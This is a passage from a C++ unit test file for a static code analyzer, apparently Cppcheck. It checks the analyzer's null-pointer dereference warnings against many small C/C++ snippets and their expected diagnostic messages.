[nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct A { int * g(); };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer42() {\n check(\"struct A { std::unique_ptr g() const; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16] -> [test.cpp:4:11]: (warning) Either the condition 'a->g()==nullptr' is redundant or there is possible null pointer dereference: a->g(). [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer43() {\n check(\"struct A { int* x; };\\n\"\n \"void f(A* a) {\\n\"\n \" int * x = a->x;\\n\"\n \" if (x) {\\n\"\n \" (void)*a->x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer44() {\n // #9395\n check(\"int foo( ) {\\n\"\n \" const B* b = getB();\\n\"\n \" const double w = ( nullptr != b) ? 42. : 0.0;\\n\"\n \" if ( w == 0.0 )\\n\"\n \" return 0;\\n\"\n \" return b->get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // #9423\n check(\"extern F* GetF();\\n\"\n \"extern L* GetL();\\n\"\n \"void Foo() {\\n\"\n \" const F* const fPtr = GetF();\\n\"\n \" const bool fPtrOk = fPtr != NULL;\\n\"\n \" assert(fPtrOk);\\n\"\n \" if (!fPtrOk)\\n\"\n \" return;\\n\"\n \" L* const lPtr = fPtr->l;\\n\"\n \" const bool lPtrOk = lPtr != NULL;\\n\"\n \" assert(lPtrOk);\\n\"\n \" if (!lPtrOk)\\n\"\n \" return;\\n\"\n \" lPtr->Clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer45() {\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"};\\n\"\n \"void g() { throw 0; }\\n\"\n \"a h(a * c) {\\n\"\n \" if (c && c->b()) {}\\n\"\n \" if (!c)\\n\"\n \" g();\\n\"\n \" if (!c->b())\\n\"\n \" g();\\n\"\n \" a d = *c->b();\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"};\\n\"\n \"void e() { throw 0; }\\n\"\n \"a f() {\\n\"\n \" a *c = 0;\\n\"\n \" if (0 && c->b()) {}\\n\"\n \" if (!c)\\n\"\n \" e();\\n\"\n \" if (!c->b())\\n\"\n \" e();\\n\"\n \" a d = *c->b();\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer46() {\n check(\"void f() {\\n\"\n \" char* p = new(std::nothrow) char[1];\\n\"\n \" if( p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer47() {\n check(\"void f(int *p) {\\n\"\n \" if(!p[0]) {}\\n\"\n \" const int *const a = p;\\n\"\n \" if(!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:2:8]: (warning) Either the condition '!a' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer48() {\n check(\"template\\n\"\n \"auto f(T& x) -> decltype(x);\\n\"\n \"int& g(int* x) {\\n\"\n \" return f(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer49() {\n check(\"void f(int *p, int n) {\\n\"\n \" int *q = 0;\\n\"\n \" if(n > 10) q = p;\\n\"\n \" *p +=2;\\n\"\n \" if(n < 120) *q+=12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Possible null pointer dereference: q [nullPointer]\\n\", errout_str());\n\n check(\"void f(int *p, int n) {\\n\"\n \" int *q = 0;\\n\"\n \" if(n > 10) q = p;\\n\"\n \" *p +=2;\\n\"\n \" if(n > 10) *q+=12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer50() {\n check(\"void f(int *p, int a) {\\n\"\n \" if(!p) {\\n\"\n \" if(a > 0) {\\n\"\n \" if(a > 10){}\\n\"\n \" else {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:8] -> [test.cpp:6:18]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer51() {\n check(\"struct a {\\n\"\n \" a *b();\\n\"\n \"};\\n\"\n \"bool c(a *, const char *);\\n\"\n \"a *d(a *e) {\\n\"\n \" if (e) {}\\n\"\n \" if (c(e, \\\"\\\"))\\n\"\n \" return nullptr;\\n\"\n \" return e->b();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer52() {\n check(\"int f(int a, int* b) {\\n\"\n \" int* c = nullptr;\\n\"\n \" if(b) c = b;\\n\"\n \" if (!c) c = &a;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int* b) {\\n\"\n \" int* c = nullptr;\\n\"\n \" if(b) c = b;\\n\"\n \" bool d = !c;\\n\"\n \" if (d) c = &a;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" if (!c.x) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" bool d = !c.x;\\n\"\n \" if (d) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" bool d = !c.x;\\n\"\n \" if (!d) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (warning) Possible null pointer dereference: c.x [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer53() {\n check(\"void f(int nParams, int* params) {\\n\"\n \" for (int n=1; nastParent() && tok3->str() == \\\",\\\")\\n\"\n \" tok3 = tok3->astParent();\\n\"\n \" if (tok3 && tok3->str() == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:3:12]: (warning) Either the condition 'tok3' is redundant or there is possible null pointer dereference: tok3. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(int* t1, int* t2) {\\n\"\n \" while (t1 && t2 &&\\n\"\n \" *t1 == *t2) {\\n\"\n \" t1 = nullptr;\\n\"\n \" t2 = nullptr;\\n\"\n \" }\\n\"\n \" if (!t1 || !t2)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int* i);\\n\"\n \"void g(int* i) {\\n\"\n \" while(f(i) && *i == 0)\\n\"\n \" i++;\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer56() {\n check(\"struct ListEntry {\\n\"\n \" struct ListEntry *next;\\n\"\n \"};\\n\"\n \"static void dostuff(ListEntry * listHead) {\\n\"\n \" ListEntry *prev = NULL;\\n\"\n \" for (ListEntry *cursor = listHead; cursor != NULL; prev = cursor, cursor = cursor->next) {}\\n\"\n \" if (prev) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer57() {\n check(\"void f() {\\n\"\n \" FILE* fptr = fopen(\\\"test\\\", \\\"r\\\");\\n\"\n \" if (fptr != nullptr) {\\n\"\n \" std::function fn([&] {\\n\"\n \" fclose(fptr);\\n\"\n \" fptr = NULL;\\n\"\n \" });\\n\"\n \" fgetc(fptr);\\n\"\n \" fn();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer58() {\n check(\"struct myStruct { char entry[0]; };\\n\"\n \"void f() {\\n\"\n \" struct myStruct* sPtr = NULL;\\n\"\n \" int sz = (!*(&sPtr) || ((*(&sPtr))->entry[0] > 15)) ?\\n\"\n \" sizeof((*(&sPtr))->entry[0]) : 123456789;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer59() {\n check(\"struct Box {\\n\"\n \" struct Box* prev;\\n\"\n \" struct Box* next;\\n\"\n \"};\\n\"\n \"void foo(Box** pfreeboxes) {\\n\"\n \" Box *b = *pfreeboxes;\\n\"\n \" *pfreeboxes = b->next;\\n\"\n \" if( *pfreeboxes )\\n\"\n \" (*pfreeboxes)->prev = nullptr;\\n\"\n \" b->next = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer60() {\n check(\"void f(){\\n\"\n \" char uuid[128];\\n\"\n \" char *s1;\\n\"\n \" memset(uuid, 0, sizeof(uuid));\\n\"\n \" s1 = strchr(uuid, '=');\\n\"\n \" s1 = s1 ? s1 + 1 : &uuid[5];\\n\"\n \" if (!strcmp(\\\"00000000000000000000000000000000\\\", s1) )\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer61() {\n check(\"struct a {\\n\"\n \" int *e;\\n\"\n \"};\\n\"\n \"struct f {\\n\"\n \" a *g() const;\\n\"\n \"};\\n\"\n \"void h() {\\n\"\n \" for (f b;;) {\\n\"\n \" a *c = b.g();\\n\"\n \" int *d = c->e;\\n\"\n \" if (d)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* g() const;\\n\"\n \" A* h() const;\\n\"\n \"};\\n\"\n \"void f(A* a) {\\n\"\n \" if (!a->h())\\n\"\n \" return;\\n\"\n \" const A *b = a;\\n\"\n \" while (b && !b->h())\\n\"\n \" b = b->g();\\n\"\n \" if (!b || b == b->g()->h())\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer62() {\n check(\"struct A {\\n\"\n \" bool f()() const;\\n\"\n \"};\\n\"\n \"void a(A *x) {\\n\"\n \" std::string b = x && x->f() ? \\\"\\\" : \\\"\\\";\\n\"\n \" if (x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool f()() const;\\n\"\n \"};\\n\"\n \"void a(A *x) {\\n\"\n \" std::string b = (!x || x->f()) ? \\\"\\\" : \\\"\\\";\\n\"\n \" if (x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A * aa;\\n\"\n \"};\\n\"\n \"void b(A*);\\n\"\n \"void a(A *x) {\\n\"\n \" b(x ? x->aa : nullptr);\\n\"\n \" if (!x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer63() {\n check(\"struct A {\\n\"\n \" A* a() const;\\n\"\n \" A* b() const;\\n\"\n \"};\\n\"\n \"A* f(A*);\\n\"\n \"void g(const A* x) {\\n\"\n \" A *d = x->a();\\n\"\n \" d = f(d->b()) ? d->a() : nullptr;\\n\"\n \" if (d && f(d->b())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer64() {\n check(\"struct A {\\n\"\n \" A* f() const;\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"bool a;\\n\"\n \"bool b(A* c) {\\n\"\n \" if (c->g() == 0)\\n\"\n \" ;\\n\"\n \" A *aq = c;\\n\"\n \" if (c->g() == 0)\\n\"\n \" c = c->f();\\n\"\n \" if (c)\\n\"\n \" for (A *d = c; d != aq; d = d->f()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* g() const;\\n\"\n \" A* h() const;\\n\"\n \"};\\n\"\n \"bool i(A*);\\n\"\n \"void f(A* x) {\\n\"\n \" if (i(x->g())) {\\n\"\n \" A *y = x->g();\\n\"\n \" x = x->g()->h();\\n\"\n \" if (x && x->g()) {\\n\"\n \" y = x->g()->h();\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer65() {\n check(\"struct A {\\n\"\n \" double get();\\n\"\n \"};\\n\"\n \"double x;\\n\"\n \"double run(A** begin, A** end) {\\n\"\n \" A* a = nullptr;\\n\"\n \" while (begin != end) {\\n\"\n \" a = *begin;\\n\"\n \" x = a->get();\\n\"\n \" ++begin;\\n\"\n \" }\\n\"\n \" x = 0;\\n\"\n \" if (a)\\n\"\n \" return a->get();\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer66() {\n check(\"int f() {\\n\"\n \" int ret = 0;\\n\"\n \" int *v = nullptr;\\n\"\n \" if (!MyAlloc(&v)) {\\n\"\n \" ret = -1;\\n\"\n \" goto done;\\n\"\n \" }\\n\"\n \" DoSomething(*v);\\n\"\n \"done:\\n\"\n \" if (v)\\n\"\n \" MyFree(&v);\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer67() {\n check(\"int result;\\n\"\n \"\\n\"\n \"int test_b(void) {\\n\"\n \" char **string = NULL;\\n\"\n \"\\n\"\n \" /* The bug disappears if \\\"result =\\\" is omitted. */\\n\"\n \" result = some_other_call(&string);\\n\"\n \" if (string && string[0])\\n\"\n \" return 0;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int result;\\n\"\n \"\\n\"\n \"int test_b(void) {\\n\"\n \" char **string = NULL;\\n\"\n \"\\n\"\n \" some_other_call(&string);\\n\"\n \" if (string && string[0])\\n\"\n \" return 0;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer68() {\n check(\"struct A {\\n\"\n \" A* b;\\n\"\n \"};\\n\"\n \"void f(A* c) {\\n\"\n \" c = c->b;\\n\"\n \" if (c->b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* b;\\n\"\n \"};\\n\"\n \"void f(A* c) {\\n\"\n \" A* d = c->b;\\n\"\n \" A *e = c;\\n\"\n \" while (nullptr != (e = e->b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer69() {\n check(\"void f(const Scope *scope) {\\n\"\n \" if (scope->definedType) {}\\n\"\n \" while (scope) {\\n\"\n \" scope = scope->nestedIn;\\n\"\n \" enumerator = scope->findEnumerator();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:5:22]: (warning) Either the condition 'scope' is redundant or there is possible null pointer dereference: scope. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(const Scope *scope) {\\n\"\n \" if (scope->definedType) {}\\n\"\n \" while (scope && scope->nestedIn) {\\n\"\n \" if (scope->type == Scope::eFunction && scope->functionOf)\\n\"\n \" scope = scope->functionOf;\\n\"\n \" else\\n\"\n \" scope = scope->nestedIn;\\n\"\n \" enumerator = scope->findEnumerator();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:8:22]: (warning) Either the condition 'scope' is redundant or there is possible null pointer dereference: scope. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \" void c();\\n\"\n \"};\\n\"\n \"void d() {\\n\"\n \" for (a *e;;) {\\n\"\n \" e->b()->c();\\n\"\n \" while (e)\\n\"\n \" e = e->b();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer70() {\n check(\"struct Token {\\n\"\n \" const Token* nextArgument() const;\\n\"\n \" const Token* next() const;\\n\"\n \" int varId() const;\\n\"\n \"};\\n\"\n \"int f(const Token *first, const Token* second) {\\n\"\n \" first = first->nextArgument();\\n\"\n \" if (first)\\n\"\n \" first = first->next();\\n\"\n \" if (second->next()->varId() == 0) {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (!first || !second)\\n\"\n \" return 0;\\n\"\n \" } else if (!first) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return first->varId();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Token {\\n\"\n \" const Token* nextArgument() const;\\n\"\n \" const Token* next() const;\\n\"\n \" int varId() const;\\n\"\n \" void str() const;\"\n \"};\\n\"\n \"void f(const Token *first) {\\n\"\n \" first = first->nextArgument();\\n\"\n \" if (first)\\n\"\n \" first = first->next();\\n\"\n \" first->str();\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:8] -> [test.cpp:10]: (warning) Either the condition 'first' is redundant or there is possible null pointer dereference: first.\\n\",\n \"\",\n errout_str());\n }\n\n void nullpointer71() {\n check(\"void f() {\\n\"\n \" Device* dev = Get();\\n\"\n \" SetCount(dev == nullptr ? 0 : dev->size());\\n\"\n \" if (dev)\\n\"\n \" DoSomething(dev);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Device* dev = Get();\\n\"\n \" SetCount(dev != nullptr ? dev->size() : 0);\\n\"\n \" if (dev)\\n\"\n \" DoSomething(dev);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer72() { // #10215\n check(\"int test() {\\n\"\n \" int* p0 = nullptr, *p1 = nullptr;\\n\"\n \" getFoo(p0);\\n\"\n \" getBar(p1);\\n\"\n \" if (!(p0 != nullptr && p1 != nullptr))\\n\"\n \" return {};\\n\"\n \" return *p0 + *p1;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test2() {\\n\"\n \" int* p0 = nullptr;\\n\"\n \" if (!(getBaz(p0) && p0 != nullptr))\\n\"\n \" return 0;\\n\"\n \" return *p0;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test3() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" if (!(GetObj(PObj) && PObj != nullptr))\\n\"\n \" return 1;\\n\"\n \" if (!PObj->foo())\\n\"\n \" test();\\n\"\n \" PObj->bar();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer73() {\n check(\"void f(bool flag2, int* ptr) {\\n\"\n \" bool flag1 = true;\\n\"\n \" if (flag2) {\\n\"\n \" if (ptr != nullptr)\\n\"\n \" (*ptr)++;\\n\"\n \" else\\n\"\n \" flag1 = false;\\n\"\n \" }\\n\"\n \" if (flag1 && flag2)\\n\"\n \" (*ptr)++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool flag2, int* ptr) {\\n\"\n \" bool flag1 = true;\\n\"\n \" if (flag2) {\\n\"\n \" if (ptr != nullptr)\\n\"\n \" (*ptr)++;\\n\"\n \" else\\n\"\n \" flag1 = false;\\n\"\n \" }\\n\"\n \" if (!flag1 && flag2)\\n\"\n \" (*ptr)++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17] -> [test.cpp:10:11]: (warning) Either the condition 'ptr!=nullptr' is redundant or there is possible null pointer dereference: ptr. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer74() {\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f) {\\n\"\n \" do {\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f, int i) {\\n\"\n \" do {\\n\"\n \" i--;\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (i > 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:8:9] -> [test.cpp:7:9]: (warning) Either the condition 'f' is redundant or there is possible null pointer dereference: f. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct d {\\n\"\n \" d* e();\\n\"\n \"};\\n\"\n \"void g(d* f, int i) {\\n\"\n \" do {\\n\"\n \" i--;\\n\"\n \" f = f->e();\\n\"\n \" if (f) {}\\n\"\n \" } while (f && i > 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer75() {\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \" void c();\\n\"\n \" int d() const;\\n\"\n \"};\\n\"\n \"void e(a *x) {\\n\"\n \" while (x->b()->d() == 0)\\n\"\n \" x->c();\\n\"\n \" x->c();\\n\"\n \" if (x->b()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer76()\n {\n check(\"int* foo(int y) {\\n\"\n \" std::unique_ptr x = std::make_unique(0);\\n\"\n \" if( y == 0 )\\n\"\n \" return x.release();\\n\"\n \" (*x) ++;\\n\"\n \" return x.release();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer77()\n {\n check(\"bool h(int*);\\n\"\n \"void f(int* i) {\\n\"\n \" int* i = nullptr;\\n\"\n \" if (h(i) && *i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool h(int*);\\n\"\n \"void f(int* i) {\\n\"\n \" int* i = nullptr;\\n\"\n \" if (h(i))\\n\"\n \" if (*i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool h(int*);\\n\"\n \"void f(int* x) {\\n\"\n \" int* i = x;\\n\"\n \" if (h(i))\\n\"\n \" i = nullptr;\\n\"\n \" if (h(i) && *i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer78() // #7802\n {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int **pp;\\n\"\n \" int *p = 0;\\n\"\n \" pp = &p;\\n\"\n \" **pp = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (error) Null pointer dereference: *pp [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer79() // #10400\n {\n check(\"void resize(size_t nF, size_t nT) {\\n\"\n \" double* pValues = nullptr;\\n\"\n \" if (nF > 0 && nT > 0)\\n\"\n \" pValues = new double[nF * nT];\\n\"\n \" for (size_t cc = 0; cc < nF * nT; ++cc)\\n\"\n \" pValues[cc] = 42;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer80() // #10410\n {\n check(\"int f(int* a, int* b) {\\n\"\n \" if( a || b ) {\\n\"\n \" int n = a ? *a : *b;\\n\"\n \" if( b )\\n\"\n \" n++;\\n\"\n \" return n;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer81() // #8724\n {\n check(\"void f(A **list) {\\n\"\n \" A *tmp_List = NULL;\\n\"\n \" *list = NULL;\\n\"\n \" while (1) {\\n\"\n \" if (*list == NULL) {\\n\"\n \" tmp_List = malloc (sizeof (ArchiveList_struct));\\n\"\n \" *list = tmp_List;\\n\"\n \" } else {\\n\"\n \" tmp_List->next = malloc (sizeof (ArchiveList_struct));\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer82() // #10331\n {\n check(\"bool g();\\n\"\n \"int* h();\\n\"\n \"void f(int* ptr) {\\n\"\n \" if (!ptr) {\\n\"\n \" if (g())\\n\"\n \" goto done;\\n\"\n \" ptr = h();\\n\"\n \" if (!ptr)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (*ptr == 1)\\n\"\n \" return;\\n\"\n \"\\n\"\n \"done:\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer83() // #9870\n {\n check(\"int* qux();\\n\"\n \"int* f7c2(int *x) {\\n\"\n \" int* p = 0;\\n\"\n \" if (nullptr == x)\\n\"\n \" p = qux();\\n\"\n \" if (nullptr == x)\\n\"\n \" return x;\\n\"\n \" *p = 1;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:4]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer84() // #9873\n {\n check(\"void f(std::unique_ptr P) {\\n\"\n \" A *RP = P.get();\\n\"\n \" if (!RP) {\\n\"\n \" P->foo();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:4:5]: (warning) Either the condition '!RP' is redundant or there is possible null pointer dereference: P. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer85() // #10210\n {\n check(\"struct MyStruct {\\n\"\n \" int GetId() const {\\n\"\n \" int id = 0;\\n\"\n \" int page = m_notebook->GetSelection();\\n\"\n \" if (m_notebook && (m_notebook->GetPageCount() > 0))\\n\"\n \" id = page;\\n\"\n \" return id;\\n\"\n \" }\\n\"\n \" wxNoteBook *m_notebook = nullptr;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const MyStruct &s = Get();\\n\"\n \" return s.GetId();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:11] -> [test.cpp:4:18]: (warning) Either the condition 'm_notebook' is redundant or there is possible null pointer dereference: m_notebook. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer86()\n {\n check(\"struct A {\\n\"\n \" A* a() const;\\n\"\n \" int b() const;\\n\"\n \"};\\n\"\n \"A* f(A* t) {\\n\"\n \" if (t->b() == 0) {\\n\"\n \" return t;\\n\"\n \" }\\n\"\n \" return t->a();\\n\"\n \"}\\n\"\n \"void g(A* t) {\\n\"\n \" t = f(t->a());\\n\"\n \" if (!t->a()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer87() // #9291\n {\n check(\"int f(bool b, int* x) {\\n\"\n \" if (b && x == nullptr)\\n\"\n \" return 0;\\n\"\n \" else if (!b && x == nullptr)\\n\"\n \" return 1;\\n\"\n \" else if (!b && x != nullptr)\\n\"\n \" return *x;\\n\"\n \" else\\n\"\n \" return *x + 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:22] -> [test.cpp:9:17]: (warning) Either the condition 'x!=nullptr' is redundant or there is possible null pointer dereference: x. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int n, int* p) {\\n\"\n \" int* r = nullptr;\\n\"\n \" if (n < 0)\\n\"\n \" return;\\n\"\n \" if (n == 0)\\n\"\n \" r = p;\\n\"\n \" else if (n > 0)\\n\"\n \" r = p + 1;\\n\"\n \" *r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer88() // #9949\n {\n check(\"struct S { char **ppc; };\\n\"\n \"int alloc(struct S* s) {\\n\"\n \" char** ppc = malloc(4096);\\n\"\n \" if (ppc != NULL) {\\n\"\n \" s->ppc = ppc;\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" struct S* s = malloc(sizeof(struct S));\\n\"\n \" if (!s) return;\\n\"\n \" s->ppc = NULL;\\n\"\n \" if (alloc(s))\\n\"\n \" s->ppc[0] = \\\"\\\";\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer89() // #10640\n {\n check(\"typedef struct {\\n\"\n \" int x;\\n\"\n \"} foo_t;\\n\"\n \"typedef struct {\\n\"\n \" foo_t *y;\\n\"\n \"} bar_t;\\n\"\n \"void f(bar_t *ptr) {\\n\"\n \" if(ptr->y->x)\\n\"\n \" if(ptr->y != nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:9:19] -> [test.cpp:8:11]: (warning) Either the condition 'ptr->y!=nullptr' is redundant or there is possible null pointer dereference: ptr->y. 